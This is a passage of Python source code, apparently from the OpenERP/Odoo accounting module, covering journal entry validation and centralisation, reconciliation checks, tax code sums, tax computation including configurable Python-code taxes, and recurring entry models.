= vals['period_id'] if 'period_id' in vals else self._get_period(cr, uid, context) c['journal_id'] = vals['journal_id'] if 'date' in vals: c['date'] = vals['date'] result = super(account_move, self).create(cr, uid, vals, c) tmp = self.validate(cr, uid, [result], context) journal = self.pool.get('account.journal').browse(cr, uid, vals['journal_id'], context) if journal.entry_posted and tmp: self.button_validate(cr,uid, [result], context) else: result = super(account_move, self).create(cr, uid, vals, context) return result def unlink(self, cr, uid, ids, context=None, check=True): context = dict(context or {}) if isinstance(ids, (int, long)): ids = [ids] toremove = [] obj_move_line = self.pool.get('account.move.line') for move in self.browse(cr, uid, ids, context=context): if move['state'] != 'draft': raise osv.except_osv(_('User Error!'), _('You cannot delete a posted journal entry "%s".') % \ move['name']) for line in move.line_id: if line.invoice: raise osv.except_osv(_('User Error!'), _("Move cannot be deleted if linked to an invoice. (Invoice: %s - Move ID:%s)") % \ (line.invoice.number,move.name)) line_ids = map(lambda x: x.id, move.line_id) context['journal_id'] = move.journal_id.id context['period_id'] = move.period_id.id obj_move_line._update_check(cr, uid, line_ids, context) obj_move_line.unlink(cr, uid, line_ids, context=context) toremove.append(move.id) result = super(account_move, self).unlink(cr, uid, toremove, context) return result def _compute_balance(self, cr, uid, id, context=None): move = self.browse(cr, uid, id, context=context) amount = 0 for line in move.line_id: amount+= (line.debit - line.credit) return amount def _centralise(self, cr, uid, move, mode, context=None): assert mode in ('debit', 'credit'), 'Invalid Mode' #to prevent sql injection currency_obj = self.pool.get('res.currency') account_move_line_obj = self.pool.get('account.move.line') context = dict(context or {}) if mode=='credit': account_id = move.journal_id.default_debit_account_id.id mode2 = 'debit' if not account_id: raise osv.except_osv(_('User Error!'), _('There is no default debit account defined \n' \ 'on journal "%s".') % move.journal_id.name) else: account_id = move.journal_id.default_credit_account_id.id mode2 = 'credit' if not account_id: raise osv.except_osv(_('User Error!'), _('There is no default credit account defined \n' \ 'on journal "%s".') % move.journal_id.name) # find the first line of this move with the current mode # or create it if it doesn't exist cr.execute('select id from account_move_line where move_id=%s and centralisation=%s limit 1', (move.id, mode)) res = cr.fetchone() if res: line_id = res[0] else: context.update({'journal_id': move.journal_id.id, 'period_id': move.period_id.id}) line_id = account_move_line_obj.create(cr, uid, { 'name': _(mode.capitalize()+' Centralisation'), 'centralisation': mode, 'partner_id': False, 'account_id': account_id, 'move_id': move.id, 'journal_id': move.journal_id.id, 'period_id': move.period_id.id, 'date': move.period_id.date_stop, 'debit': 0.0, 'credit': 0.0, }, context) # find the first line of this move with the other mode # so that we can exclude it from our calculation cr.execute('select id from account_move_line where move_id=%s and centralisation=%s limit 1', (move.id, mode2)) res = cr.fetchone() if res: line_id2 = res[0] else: line_id2 = 0 cr.execute('SELECT SUM(%s) FROM account_move_line WHERE move_id=%%s AND id!=%%s' % (mode,), (move.id, line_id2)) result = cr.fetchone()[0] or 0.0 cr.execute('update account_move_line set '+mode2+'=%s where id=%s', (result, line_id)) account_move_line_obj.invalidate_cache(cr, uid, [mode2], [line_id], context=context) #adjust also the amount in currency if needed cr.execute("select currency_id, sum(amount_currency) as amount_currency from account_move_line where move_id = %s and currency_id is not null group by currency_id", (move.id,)) for row in cr.dictfetchall(): currency_id = currency_obj.browse(cr, uid, row['currency_id'], context=context) if not currency_obj.is_zero(cr, uid, currency_id, row['amount_currency']): amount_currency = row['amount_currency'] * -1 account_id = amount_currency > 0 and move.journal_id.default_debit_account_id.id or move.journal_id.default_credit_account_id.id cr.execute('select id from account_move_line where move_id=%s and centralisation=\'currency\' and currency_id = %slimit 1', (move.id, row['currency_id'])) res = cr.fetchone() if res: cr.execute('update account_move_line set amount_currency=%s , account_id=%s where id=%s', (amount_currency, account_id, res[0])) account_move_line_obj.invalidate_cache(cr, uid, ['amount_currency', 'account_id'], [res[0]], context=context) else: context.update({'journal_id': move.journal_id.id, 'period_id': move.period_id.id}) line_id = account_move_line_obj.create(cr, uid, { 'name': _('Currency Adjustment'), 'centralisation': 'currency', 'partner_id': False, 'account_id': account_id, 'move_id': move.id, 'journal_id': move.journal_id.id, 'period_id': move.period_id.id, 'date': move.period_id.date_stop, 'debit': 0.0, 'credit': 0.0, 'currency_id': row['currency_id'], 'amount_currency': amount_currency, }, context) return True # # Validate a balanced move. If it is a centralised journal, create a move. # def validate(self, cr, uid, ids, context=None): if context and ('__last_update' in context): del context['__last_update'] valid_moves = [] #Maintains a list of moves which can be responsible to create analytic entries obj_analytic_line = self.pool.get('account.analytic.line') obj_move_line = self.pool.get('account.move.line') for move in self.browse(cr, uid, ids, context): journal = move.journal_id amount = 0 line_ids = [] line_draft_ids = [] company_id = None # makes sure we don't use outdated period obj_move_line._update_journal_check(cr, uid, journal.id, move.period_id.id, context=context) for line in move.line_id: amount += line.debit - line.credit line_ids.append(line.id) if line.state=='draft': line_draft_ids.append(line.id) if not company_id: company_id = line.account_id.company_id.id if not company_id == line.account_id.company_id.id: raise osv.except_osv(_('Error!'), _("Cannot create moves for different companies.")) if line.account_id.currency_id and line.currency_id: if line.account_id.currency_id.id != line.currency_id.id and (line.account_id.currency_id.id != line.account_id.company_id.currency_id.id): raise osv.except_osv(_('Error!'), _("""Cannot create move with currency different from ..""") % (line.account_id.code, line.account_id.name)) if abs(amount) < 10 ** -4: # If the move is balanced # Add to the list of valid moves # (analytic lines will be created later for valid moves) valid_moves.append(move) # Check whether the move lines are confirmed if not line_draft_ids: continue # Update the move lines (set them as valid) obj_move_line.write(cr, uid, line_draft_ids, { 'state': 'valid' }, context, check=False) account = {} account2 = {} if journal.type in ('purchase','sale'): for line in move.line_id: code = amount = 0 key = (line.account_id.id, line.tax_code_id.id) if key in account2: code = account2[key][0] amount = account2[key][1] * (line.debit + line.credit) elif line.account_id.id in account: code = account[line.account_id.id][0] amount = account[line.account_id.id][1] * (line.debit + line.credit) if (code or amount) and not (line.tax_code_id or line.tax_amount): obj_move_line.write(cr, uid, [line.id], { 'tax_code_id': code, 'tax_amount': amount }, context, check=False) elif journal.centralisation: # If the move is not balanced, it must be centralised... # Add to the list of valid moves # (analytic lines will be created later for valid moves) valid_moves.append(move) # # Update the move lines (set them as valid) # self._centralise(cr, uid, move, 'debit', context=context) self._centralise(cr, uid, move, 'credit', context=context) obj_move_line.write(cr, uid, line_draft_ids, { 'state': 'valid' }, context, check=False) else: # We can't validate it (it's unbalanced) # Setting the lines as draft not_draft_line_ids = list(set(line_ids) - set(line_draft_ids)) if not_draft_line_ids: obj_move_line.write(cr, uid, not_draft_line_ids, { 'state': 'draft' }, context, check=False) # Create analytic lines for the valid moves for record in valid_moves: obj_move_line.create_analytic_lines(cr, uid, [line.id for line in record.line_id], context) valid_moves = [move.id for move in valid_moves] return len(valid_moves) > 0 and valid_moves or False class account_move_reconcile(osv.osv): _name = "account.move.reconcile" _description = "Account Reconciliation" _columns = { 'name': fields.char('Name', required=True), 'type': fields.char('Type', required=True), 'line_id': fields.one2many('account.move.line', 'reconcile_id', 'Entry Lines'), 'line_partial_ids': fields.one2many('account.move.line', 'reconcile_partial_id', 'Partial Entry lines'), 'create_date': fields.date('Creation date', readonly=True), 'opening_reconciliation': fields.boolean('Opening Entries Reconciliation', help="Is this reconciliation produced by the opening of a new fiscal year ?."), } _defaults = { 'name': lambda self,cr,uid,ctx=None: self.pool.get('ir.sequence').get(cr, uid, 'account.reconcile', context=ctx) or '/', } # You cannot unlink a reconciliation if it is a opening_reconciliation one, # you should use the generate opening entries wizard for that def unlink(self, cr, uid, ids, context=None): for move_rec in self.browse(cr, uid, ids, context=context): if move_rec.opening_reconciliation: raise osv.except_osv(_('Error!'), _('You cannot unreconcile journal items if they has been generated by the \ opening/closing fiscal year process.')) return super(account_move_reconcile, self).unlink(cr, uid, ids, context=context) # Look in the line_id and line_partial_ids to ensure the partner is the same or empty # on all lines. We allow that only for opening/closing period def _check_same_partner(self, cr, uid, ids, context=None): for reconcile in self.browse(cr, uid, ids, context=context): move_lines = [] if not reconcile.opening_reconciliation: if reconcile.line_id: first_partner = reconcile.line_id[0].partner_id.id move_lines = reconcile.line_id elif reconcile.line_partial_ids: first_partner = reconcile.line_partial_ids[0].partner_id.id move_lines = reconcile.line_partial_ids if any([(line.account_id.type in ('receivable', 'payable') and line.partner_id.id != first_partner) for line in move_lines]): return False return True _constraints = [ (_check_same_partner, 'You can only reconcile journal items with the same partner.', ['line_id', 'line_partial_ids']), ] def reconcile_partial_check(self, cr, uid, ids, type='auto', context=None): total = 0.0 for rec in self.browse(cr, uid, ids, context=context): for line in rec.line_partial_ids: if line.account_id.currency_id: total += line.amount_currency else: total += (line.debit or 0.0) - (line.credit or 0.0) if not total: self.pool.get('account.move.line').write(cr, uid, map(lambda x: x.id, rec.line_partial_ids), {'reconcile_id': rec.id }, context=context ) return True def name_get(self, cr, uid, ids, context=None): if not ids: return [] result = [] for r in self.browse(cr, uid, ids, context=context): total = reduce(lambda y,t: (t.debit or 0.0) - (t.credit or 0.0) + y, r.line_partial_ids, 0.0) if total: name = '%s (%.2f)' % (r.name, total) result.append((r.id,name)) else: result.append((r.id,r.name)) return result #---------------------------------------------------------- # Tax #---------------------------------------------------------- """ a documenter child_depend: la taxe depend des taxes filles """ class account_tax_code(osv.osv): """ A code for the tax object. This code is used for some tax declarations. """ def _sum(self, cr, uid, ids, name, args, context, where ='', where_params=()): parent_ids = tuple(self.search(cr, uid, [('parent_id', 'child_of', ids)])) if context.get('based_on', 'invoices') == 'payments': cr.execute('SELECT line.tax_code_id, sum(line.tax_amount) \ FROM account_move_line AS line, \ account_move AS move \ LEFT JOIN account_invoice invoice ON \ (invoice.move_id = move.id) \ WHERE line.tax_code_id IN %s '+where+' \ AND move.id = line.move_id \ AND ((invoice.state = \'paid\') \ OR (invoice.id IS NULL)) \ GROUP BY line.tax_code_id', (parent_ids,) + where_params) else: cr.execute('SELECT line.tax_code_id, sum(line.tax_amount) \ FROM account_move_line AS line, \ account_move AS move \ WHERE line.tax_code_id IN %s '+where+' \ AND move.id = line.move_id \ GROUP BY line.tax_code_id', (parent_ids,) + where_params) res=dict(cr.fetchall()) obj_precision = self.pool.get('decimal.precision') res2 = {} for record in self.browse(cr, uid, ids, context=context): def _rec_get(record): amount = res.get(record.id) or 0.0 for rec in record.child_ids: amount += _rec_get(rec) * rec.sign return amount res2[record.id] = round(_rec_get(record), obj_precision.precision_get(cr, uid, 'Account')) return res2 def _sum_year(self, cr, uid, ids, name, args, context=None): if context is None: context = {} move_state = ('posted', ) if context.get('state', 'all') == 'all': move_state = ('draft', 'posted', ) if context.get('fiscalyear_id', False): fiscalyear_id = [context['fiscalyear_id']] else: fiscalyear_id = self.pool.get('account.fiscalyear').finds(cr, uid, exception=False) where = '' where_params = () if fiscalyear_id: pids = [] for fy in fiscalyear_id: pids += map(lambda x: str(x.id), self.pool.get('account.fiscalyear').browse(cr, uid, fy).period_ids) if pids: where = ' AND line.period_id IN %s AND move.state IN %s ' where_params = (tuple(pids), move_state) return self._sum(cr, uid, ids, name, args, context, where=where, where_params=where_params) def _sum_period(self, cr, uid, ids, name, args, context): if context is None: context = {} move_state = ('posted', ) if context.get('state', False) == 'all': move_state = ('draft', 'posted', ) if context.get('period_id', False): period_id = context['period_id'] else: period_id = self.pool.get('account.period').find(cr, uid, context=context) if not period_id: return dict.fromkeys(ids, 0.0) period_id = period_id[0] return self._sum(cr, uid, ids, name, args, context, where=' AND line.period_id=%s AND move.state IN %s', where_params=(period_id, move_state)) _name = 'account.tax.code' _description = 'Tax Code' _rec_name = 'code' _order = 'sequence, code' _columns = { 'name': fields.char('Tax Case Name', required=True, translate=True), 'code': fields.char('Case Code', size=64), 'info': fields.text('Description'), 'sum': fields.function(_sum_year, string="Year Sum"), 'sum_period': fields.function(_sum_period, string="Period Sum"), 'parent_id': fields.many2one('account.tax.code', 'Parent Code', select=True), 'child_ids': fields.one2many('account.tax.code', 'parent_id', 'Child Codes'), 'line_ids': fields.one2many('account.move.line', 'tax_code_id', 'Lines'), 'company_id': fields.many2one('res.company', 'Company', required=True), 'sign': fields.float('Coefficent for parent', required=True, help='You can specify here the coefficient that will be used when consolidating the amount of this case into its parent. For example, set 1/-1 if you want to add/substract it.'), 'notprintable':fields.boolean("Not Printable in Invoice", help="Check this box if you don't want any tax related to this tax code to appear on invoices"), 'sequence': fields.integer('Sequence', help="Determine the display order in the report 'Accounting \ Reporting \ Generic Reporting \ Taxes \ Taxes Report'"), } def name_search(self, cr, user, name, args=None, operator='ilike', context=None, limit=80): if not args: args = [] if operator in expression.NEGATIVE_TERM_OPERATORS: domain = [('code', operator, name), ('name', operator, name)] else: domain = ['|', ('code', operator, name), ('name', operator, name)] ids = self.search(cr, user, expression.AND([domain, args]), limit=limit, context=context) return self.name_get(cr, user, ids, context=context) def name_get(self, cr, uid, ids, context=None): if isinstance(ids, (int, long)): ids = [ids] if not ids: return [] if isinstance(ids, (int, long)): ids = [ids] reads = self.read(cr, uid, ids, ['name','code'], context=context, load='_classic_write') return [(x['id'], (x['code'] and (x['code'] + ' - ') or '') + x['name']) \ for x in reads] def _default_company(self, cr, uid, context=None): user = self.pool.get('res.users').browse(cr, uid, uid, context=context) if user.company_id: return user.company_id.id return self.pool.get('res.company').search(cr, uid, [('parent_id', '=', False)])[0] _defaults = { 'company_id': _default_company, 'sign': 1.0, 'notprintable': False, } _check_recursion = check_cycle _constraints = [ (_check_recursion, 'Error!\nYou cannot create recursive accounts.', ['parent_id']) ] _order = 'code' def get_precision_tax(): def change_digit_tax(cr): res = openerp.registry(cr.dbname)['decimal.precision'].precision_get(cr, SUPERUSER_ID, 'Account') return (16, res+3) return change_digit_tax class account_tax(osv.osv): """ A tax object. Type: percent, fixed, none, code PERCENT: tax = price * amount FIXED: tax = price + amount NONE: no tax line CODE: execute python code. localcontext = {'price_unit':pu} return result in the context Ex: result=round(price_unit*0.21,4) """ def copy_data(self, cr, uid, id, default=None, context=None): if default is None: default = {} this = self.browse(cr, uid, id, context=context) tmp_default = dict(default, name=_("%s (Copy)") % this.name) return super(account_tax, self).copy_data(cr, uid, id, default=tmp_default, context=context) _name = 'account.tax' _description = 'Tax' _columns = { 'name': fields.char('Tax Name', required=True, translate=True, help="This name will be displayed on reports"), 'sequence': fields.integer('Sequence', required=True, help="The sequence field is used to order the tax lines from the lowest sequences to the higher ones. The order is important if you have a tax with several tax children. In this case, the evaluation order is important."), 'amount': fields.float('Amount', required=True, digits_compute=get_precision_tax(), help="For taxes of type percentage, enter % ratio between 0-1."), 'active': fields.boolean('Active', help="If the active field is set to False, it will allow you to hide the tax without removing it."), 'type': fields.selection( [('percent','Percentage'), ('fixed','Fixed Amount'), ('none','None'), ('code','Python Code'), ('balance','Balance')], 'Tax Type', required=True, help="The computation method for the tax amount."), 'applicable_type': fields.selection( [('true','Always'), ('code','Given by Python Code')], 'Applicability', required=True, help="If not applicable (computed through a Python code), the tax won't appear on the invoice."), 'domain':fields.char('Domain', help="This field is only used if you develop your own module allowing developers to create specific taxes in a custom domain."), 'account_collected_id':fields.many2one('account.account', 'Invoice Tax Account', help="Set the account that will be set by default on invoice tax lines for invoices. Leave empty to use the expense account."), 'account_paid_id':fields.many2one('account.account', 'Refund Tax Account', help="Set the account that will be set by default on invoice tax lines for refunds. Leave empty to use the expense account."), 'account_analytic_collected_id':fields.many2one('account.analytic.account', 'Invoice Tax Analytic Account', help="Set the analytic account that will be used by default on the invoice tax lines for invoices. Leave empty if you don't want to use an analytic account on the invoice tax lines by default."), 'account_analytic_paid_id':fields.many2one('account.analytic.account', 'Refund Tax Analytic Account', help="Set the analytic account that will be used by default on the invoice tax lines for refunds. Leave empty if you don't want to use an analytic account on the invoice tax lines by default."), 'parent_id':fields.many2one('account.tax', 'Parent Tax Account', select=True), 'child_ids':fields.one2many('account.tax', 'parent_id', 'Child Tax Accounts', copy=True), 'child_depend':fields.boolean('Tax on Children', help="Set if the tax computation is based on the computation of child taxes rather than on the total amount."), 'python_compute':fields.text('Python Code'), 'python_compute_inv':fields.text('Python Code (reverse)'), 'python_applicable':fields.text('Applicable Code'), # # Fields used for the Tax declaration # 'base_code_id': fields.many2one('account.tax.code', 'Account Base Code', help="Use this code for the tax declaration."), 'tax_code_id': fields.many2one('account.tax.code', 'Account Tax Code', help="Use this code for the tax declaration."), 'base_sign': fields.float('Base Code Sign', help="Usually 1 or -1.", digits_compute=get_precision_tax()), 'tax_sign': fields.float('Tax Code Sign', help="Usually 1 or -1.", digits_compute=get_precision_tax()), # Same fields for refund invoices 'ref_base_code_id': fields.many2one('account.tax.code', 'Refund Base Code', help="Use this code for the tax declaration."), 'ref_tax_code_id': fields.many2one('account.tax.code', 'Refund Tax Code', help="Use this code for the tax declaration."), 'ref_base_sign': fields.float('Refund Base Code Sign', help="Usually 1 or -1.", digits_compute=get_precision_tax()), 'ref_tax_sign': fields.float('Refund Tax Code Sign', help="Usually 1 or -1.", digits_compute=get_precision_tax()), 'include_base_amount': fields.boolean('Included in base amount', help="Indicates if the amount of tax must be included in the base amount for the computation of the next taxes"), 'company_id': fields.many2one('res.company', 'Company', required=True), 'description': fields.char('Tax Code'), 'price_include': fields.boolean('Tax Included in Price', help="Check this if the price you use on the product and invoices includes this tax."), 'type_tax_use': fields.selection([('sale','Sale'),('purchase','Purchase'),('all','All')], 'Tax Application', required=True) } _sql_constraints = [ ('name_company_uniq', 'unique(name, company_id)', 'Tax Name must be unique per company!'), ] def name_search(self, cr, user, name, args=None, operator='ilike', context=None, limit=80): """ Returns a list of tupples containing id, name, as internally it is called {def name_get} result format: {[(id, name), (id, name), ...]} @param cr: A database cursor @param user: ID of the user currently logged in @param name: name to search @param args: other arguments @param operator: default operator is 'ilike', it can be changed @param context: context arguments, like lang, time zone @param limit: Returns first 'n' ids of complete result, default is 80. @return: Returns a list of tupples containing id and name """ if not args: args = [] if operator in expression.NEGATIVE_TERM_OPERATORS: domain = [('description', operator, name), ('name', operator, name)] else: domain = ['|', ('description', operator, name), ('name', operator, name)] ids = self.search(cr, user, expression.AND([domain, args]), limit=limit, context=context) return self.name_get(cr, user, ids, context=context) def write(self, cr, uid, ids, vals, context=None): if vals.get('type', False) and vals['type'] in ('none', 'code'): vals.update({'amount': 0.0}) return super(account_tax, self).write(cr, uid, ids, vals, context=context) def search(self, cr, uid, args, offset=0, limit=None, order=None, context=None, count=False): if context is None: context = {} journal_pool = self.pool.get('account.journal') if context.get('type'): if context.get('type') in ('out_invoice','out_refund'): args += [('type_tax_use','in',['sale','all'])] elif context.get('type') in ('in_invoice','in_refund'): args += [('type_tax_use','in',['purchase','all'])] if context.get('journal_id'): journal = journal_pool.browse(cr, uid, context.get('journal_id')) if journal.type in ('sale', 'purchase'): args += [('type_tax_use','in',[journal.type,'all'])] return super(account_tax, self).search(cr, uid, args, offset, limit, order, context, count) def name_get(self, cr, uid, ids, context=None): if not ids: return [] res = [] for record in self.read(cr, uid, ids, ['description','name'], context=context): name = record['description'] and record['description'] or record['name'] res.append((record['id'],name )) return res def _default_company(self, cr, uid, context=None): user = self.pool.get('res.users').browse(cr, uid, uid, context=context) if user.company_id: return user.company_id.id return self.pool.get('res.company').search(cr, uid, [('parent_id', '=', False)])[0] _defaults = { 'python_compute': '''# price_unit\n# or False\n# product: product.product object or None\n# partner: res.partner object or None\n\nresult = price_unit * 0.10''', 'python_compute_inv': '''# price_unit\n# product: product.product object or False\n\nresult = price_unit * 0.10''', 'applicable_type': 'true', 'type': 'percent', 'amount': 0, 'price_include': 0, 'active': 1, 'type_tax_use': 'all', 'sequence': 1, 'ref_tax_sign': 1, 'ref_base_sign': 1, 'tax_sign': 1, 'base_sign': 1, 'include_base_amount': False, 'company_id': _default_company, } _order = 'sequence' def _applicable(self, cr, uid, taxes, price_unit, product=None, partner=None): res = [] for tax in taxes: if tax.applicable_type=='code': localdict = {'price_unit':price_unit, 'product':product, 'partner':partner} exec tax.python_applicable in localdict if localdict.get('result', False): res.append(tax) else: res.append(tax) return res def _unit_compute(self, cr, uid, taxes, price_unit, product=None, partner=None, quantity=0): taxes = self._applicable(cr, uid, taxes, price_unit ,product, partner) res = [] cur_price_unit=price_unit for tax in taxes: # we compute the amount for the current tax object and append it to the result data = {'id':tax.id, 'name': tax.name, 'account_collected_id':tax.account_collected_id.id, 'account_paid_id':tax.account_paid_id.id, 'account_analytic_collected_id': tax.account_analytic_collected_id.id, 'account_analytic_paid_id': tax.account_analytic_paid_id.id, 'base_code_id': tax.base_code_id.id, 'ref_base_code_id': tax.ref_base_code_id.id, 'sequence': tax.sequence, 'base_sign': tax.base_sign, 'tax_sign': tax.tax_sign, 'ref_base_sign': tax.ref_base_sign, 'ref_tax_sign': tax.ref_tax_sign, 'price_unit': cur_price_unit, 'tax_code_id': tax.tax_code_id.id, 'ref_tax_code_id': tax.ref_tax_code_id.id, } res.append(data) if tax.type=='percent': amount = cur_price_unit * tax.amount data['amount'] = amount elif tax.type=='fixed': data['amount'] = tax.amount data['tax_amount']=quantity # data['amount'] = quantity elif tax.type=='code': localdict = {'price_unit':cur_price_unit, 'product':product, 'partner':partner, 'quantity': quantity} exec tax.python_compute in localdict amount = localdict['result'] data['amount'] = amount elif tax.type=='balance': data['amount'] = cur_price_unit - reduce(lambda x,y: y.get('amount',0.0)+x, res, 0.0) data['balance'] = cur_price_unit amount2 = data.get('amount', 0.0) if tax.child_ids: if tax.child_depend: latest = res.pop() amount = amount2 child_tax = self._unit_compute(cr, uid, tax.child_ids, amount, product, partner, quantity) res.extend(child_tax) for child in child_tax: amount2 += child.get('amount', 0.0) if tax.child_depend: for r in res: for name in ('base','ref_base'): if latest[name+'_code_id'] and latest[name+'_sign'] and not r[name+'_code_id']: r[name+'_code_id'] = latest[name+'_code_id'] r[name+'_sign'] = latest[name+'_sign'] r['price_unit'] = latest['price_unit'] latest[name+'_code_id'] = False for name in ('tax','ref_tax'): if latest[name+'_code_id'] and latest[name+'_sign'] and not r[name+'_code_id']: r[name+'_code_id'] = latest[name+'_code_id'] r[name+'_sign'] = latest[name+'_sign'] r['amount'] = data['amount'] latest[name+'_code_id'] = False if tax.include_base_amount: cur_price_unit+=amount2 return res def compute_for_bank_reconciliation(self, cr, uid, tax_id, amount, context=None): """ Called by RPC by the bank statement reconciliation widget """ tax = self.browse(cr, uid, tax_id, context=context) return self.compute_all(cr, uid, [tax], amount, 1) # TOCHECK may use force_exclude parameter @api.v7 def compute_all(self, cr, uid, taxes, price_unit, quantity, product=None, partner=None, force_excluded=False): """ :param force_excluded: boolean used to say that we don't want to consider the value of field price_include of tax. It's used in encoding by line where you don't matter if you encoded a tax with that boolean to True or False RETURN: { 'total': 0.0, # Total without taxes 'total_included: 0.0, # Total with taxes 'taxes': [] # List of taxes, see compute for the format } """ # By default, for each tax, tax amount will first be computed # and rounded at the 'Account' decimal precision for each # PO/SO/invoice line and then these rounded amounts will be # summed, leading to the total amount for that tax. But, if the # company has tax_calculation_rounding_method = round_globally, # we still follow the same method, but we use a much larger # precision when we round the tax amount for each line (we use # the 'Account' decimal precision + 5), and that way it's like # rounding after the sum of the tax amounts of each line precision = self.pool.get('decimal.precision').precision_get(cr, uid, 'Account') tax_compute_precision = precision if taxes and taxes[0].company_id.tax_calculation_rounding_method == 'round_globally': tax_compute_precision += 5 totalin = totalex = round(price_unit * quantity, precision) tin = [] tex = [] for tax in taxes: if not tax.price_include or force_excluded: tex.append(tax) else: tin.append(tax) tin = self.compute_inv(cr, uid, tin, price_unit, quantity, product=product, partner=partner, precision=tax_compute_precision) for r in tin: totalex -= r.get('amount', 0.0) totlex_qty = 0.0 try: totlex_qty = totalex/quantity except: pass tex = self._compute(cr, uid, tex, totlex_qty, quantity, product=product, partner=partner, precision=tax_compute_precision) for r in tex: totalin += r.get('amount', 0.0) return { 'total': totalex, 'total_included': totalin, 'taxes': tin + tex } @api.v8 def compute_all(self, price_unit, quantity, product=None, partner=None, force_excluded=False): return self._model.compute_all( self._cr, self._uid, self, price_unit, quantity, product=product, partner=partner, force_excluded=force_excluded) def compute(self, cr, uid, taxes, price_unit, quantity, product=None, partner=None): _logger.warning("Deprecated, use compute_all(...)['taxes'] instead of compute(...) to manage prices with tax included.") return self._compute(cr, uid, taxes, price_unit, quantity, product, partner) def _compute(self, cr, uid, taxes, price_unit, quantity, product=None, partner=None, precision=None): """ Compute tax values for given PRICE_UNIT, QUANTITY and a buyer/seller ADDRESS_ID. RETURN: [ tax ] tax = {'name':'', 'amount':0.0, 'account_collected_id':1, 'account_paid_id':2} one tax for each tax id in IDS and their children """ if not precision: precision = self.pool.get('decimal.precision').precision_get(cr, uid, 'Account') res = self._unit_compute(cr, uid, taxes, price_unit, product, partner, quantity) total = 0.0 for r in res: if r.get('balance',False): r['amount'] = round(r.get('balance', 0.0) * quantity, precision) - total else: r['amount'] = round(r.get('amount', 0.0) * quantity, precision) total += r['amount'] return res def _unit_compute_inv(self, cr, uid, taxes, price_unit, product=None, partner=None): taxes = self._applicable(cr, uid, taxes, price_unit, product, partner) res = [] taxes.reverse() cur_price_unit = price_unit tax_parent_tot = 0.0 for tax in taxes: if (tax.type=='percent') and not tax.include_base_amount: tax_parent_tot += tax.amount for tax in taxes: if (tax.type=='fixed') and not tax.include_base_amount: cur_price_unit -= tax.amount for tax in taxes: if tax.type=='percent': if tax.include_base_amount: amount = cur_price_unit - (cur_price_unit / (1 + tax.amount)) else: amount = (cur_price_unit / (1 + tax_parent_tot)) * tax.amount elif tax.type=='fixed': amount = tax.amount elif tax.type=='code': localdict = {'price_unit':cur_price_unit, 'product':product, 'partner':partner} exec tax.python_compute_inv in localdict amount = localdict['result'] elif tax.type=='balance': amount = cur_price_unit - reduce(lambda x,y: y.get('amount',0.0)+x, res, 0.0) if tax.include_base_amount: cur_price_unit -= amount todo = 0 else: todo = 1 res.append({ 'id': tax.id, 'todo': todo, 'name': tax.name, 'amount': amount, 'account_collected_id': tax.account_collected_id.id, 'account_paid_id': tax.account_paid_id.id, 'account_analytic_collected_id': tax.account_analytic_collected_id.id, 'account_analytic_paid_id': tax.account_analytic_paid_id.id, 'base_code_id': tax.base_code_id.id, 'ref_base_code_id': tax.ref_base_code_id.id, 'sequence': tax.sequence, 'base_sign': tax.base_sign, 'tax_sign': tax.tax_sign, 'ref_base_sign': tax.ref_base_sign, 'ref_tax_sign': tax.ref_tax_sign, 'price_unit': cur_price_unit, 'tax_code_id': tax.tax_code_id.id, 'ref_tax_code_id': tax.ref_tax_code_id.id, }) if tax.child_ids: if tax.child_depend: del res[-1] amount = price_unit parent_tax = self._unit_compute_inv(cr, uid, tax.child_ids, amount, product, partner) res.extend(parent_tax) total = 0.0 for r in res: if r['todo']: total += r['amount'] for r in res: r['price_unit'] -= total r['todo'] = 0 return res def compute_inv(self, cr, uid, taxes, price_unit, quantity, product=None, partner=None, precision=None): """ Compute tax values for given PRICE_UNIT, QUANTITY and a buyer/seller ADDRESS_ID. Price Unit is a Tax included price RETURN: [ tax ] tax = {'name':'', 'amount':0.0, 'account_collected_id':1, 'account_paid_id':2} one tax for each tax id in IDS and their children """ if not precision: precision = self.pool.get('decimal.precision').precision_get(cr, uid, 'Account') res = self._unit_compute_inv(cr, uid, taxes, price_unit, product, partner=None) total = 0.0 for r in res: if r.get('balance',False): r['amount'] = round(r['balance'] * quantity, precision) - total else: r['amount'] = round(r['amount'] * quantity, precision) total += r['amount'] return res # --------------------------------------------------------- # Account Entries Models # --------------------------------------------------------- class account_model(osv.osv): _name = "account.model" _description = "Account Model" _columns = { 'name': fields.char('Model Name', required=True, help="This is a model for recurring accounting entries"), 'journal_id': fields.many2one('account.journal', 'Journal', required=True), 'company_id': fields.related('journal_id', 'company_id', type='many2one', relation='res.company', string='Company', store=True, readonly=True), 'lines_id': fields.one2many('account.model.line', 'model_id', 'Model Entries', copy=True), 'legend': fields.text('Legend', readonly=True, size=100), } _defaults = { 'legend': lambda self, cr, uid, context:_('You can specify year, month and date in the name of the model using the following labels:\n\n%(year)s: To Specify Year \n%(month)s: To Specify Month \n%(date)s: Current Date\n\ne.g. My model on %(date)s'), } def generate(self, cr, uid, ids, data=None, context=None): if data is None: data = {} move_ids = [] entry = {} account_move_obj = self.pool.get('account.move') account_move_line_obj = self.pool.get('account.move.line') pt_obj = self.pool.get('account.payment.term') period_obj = self.pool.get('account.period') if context is None: context = {} if data.get('date', False): context = dict(context) context.update({'date': data['date']}) move_date = context.get('date', time.strftime('%Y-%m-%d')) move_date = datetime.strptime(move_date,"%Y-%m-%d") for model in self.browse(cr, uid, ids, context=context): ctx = context.copy() ctx.update({'company_id': model.company_id.id}) period_ids = period_obj.find(cr, uid, dt=context.get('date', False), context=ctx) period_id = period_ids and period_ids[0] or False ctx.update({'journal_id': model.journal_id.id,'period_id': period_id}) try: entry['name'] = model.name%{'year': move_date.strftime('%Y'), 'month': move_date.strftime('%m'), 'date': move_date.strftime('%Y-%m')} except: raise osv.except_osv(_('Wrong Model!'), _('You have a wrong expression "%(...)s" in your model!')) move_id = account_move_obj.create(cr, uid, { 'ref': entry['name'], 'period_id': period_id, 'journal_id': model.journal_id.id, 'date': context.get('date', fields.date.context_today(self,cr,uid,context=context)) }) move_ids.append(move_id) for line in model.lines_id: analytic_account_id = False if line.analytic_account_id: if not model.journal_id.analytic_journal_id: raise osv.except_osv(_('No Analytic Journal!'),_("You have to define an analytic journal on the '%s' journal!") % (model.journal_id.name,)) analytic_account_id = line.analytic_account_id.id val = { 'move_id': move_id, 'journal_id': model.journal_id.id, 'period_id': period_id, 'analytic_account_id': analytic_account_id } date_maturity = context.get('date',time.strftime('%Y-%m-%d')) if line.date_maturity == 'partner': if not line.partner_id: raise osv.except_osv(_('Error!'), _("Maturity date of entry line generated by model line '%s' of model '%s' is based on partner payment term!" \ "\nPlease define partner on it!")%(line.name, model.name)) payment_term_id = False if 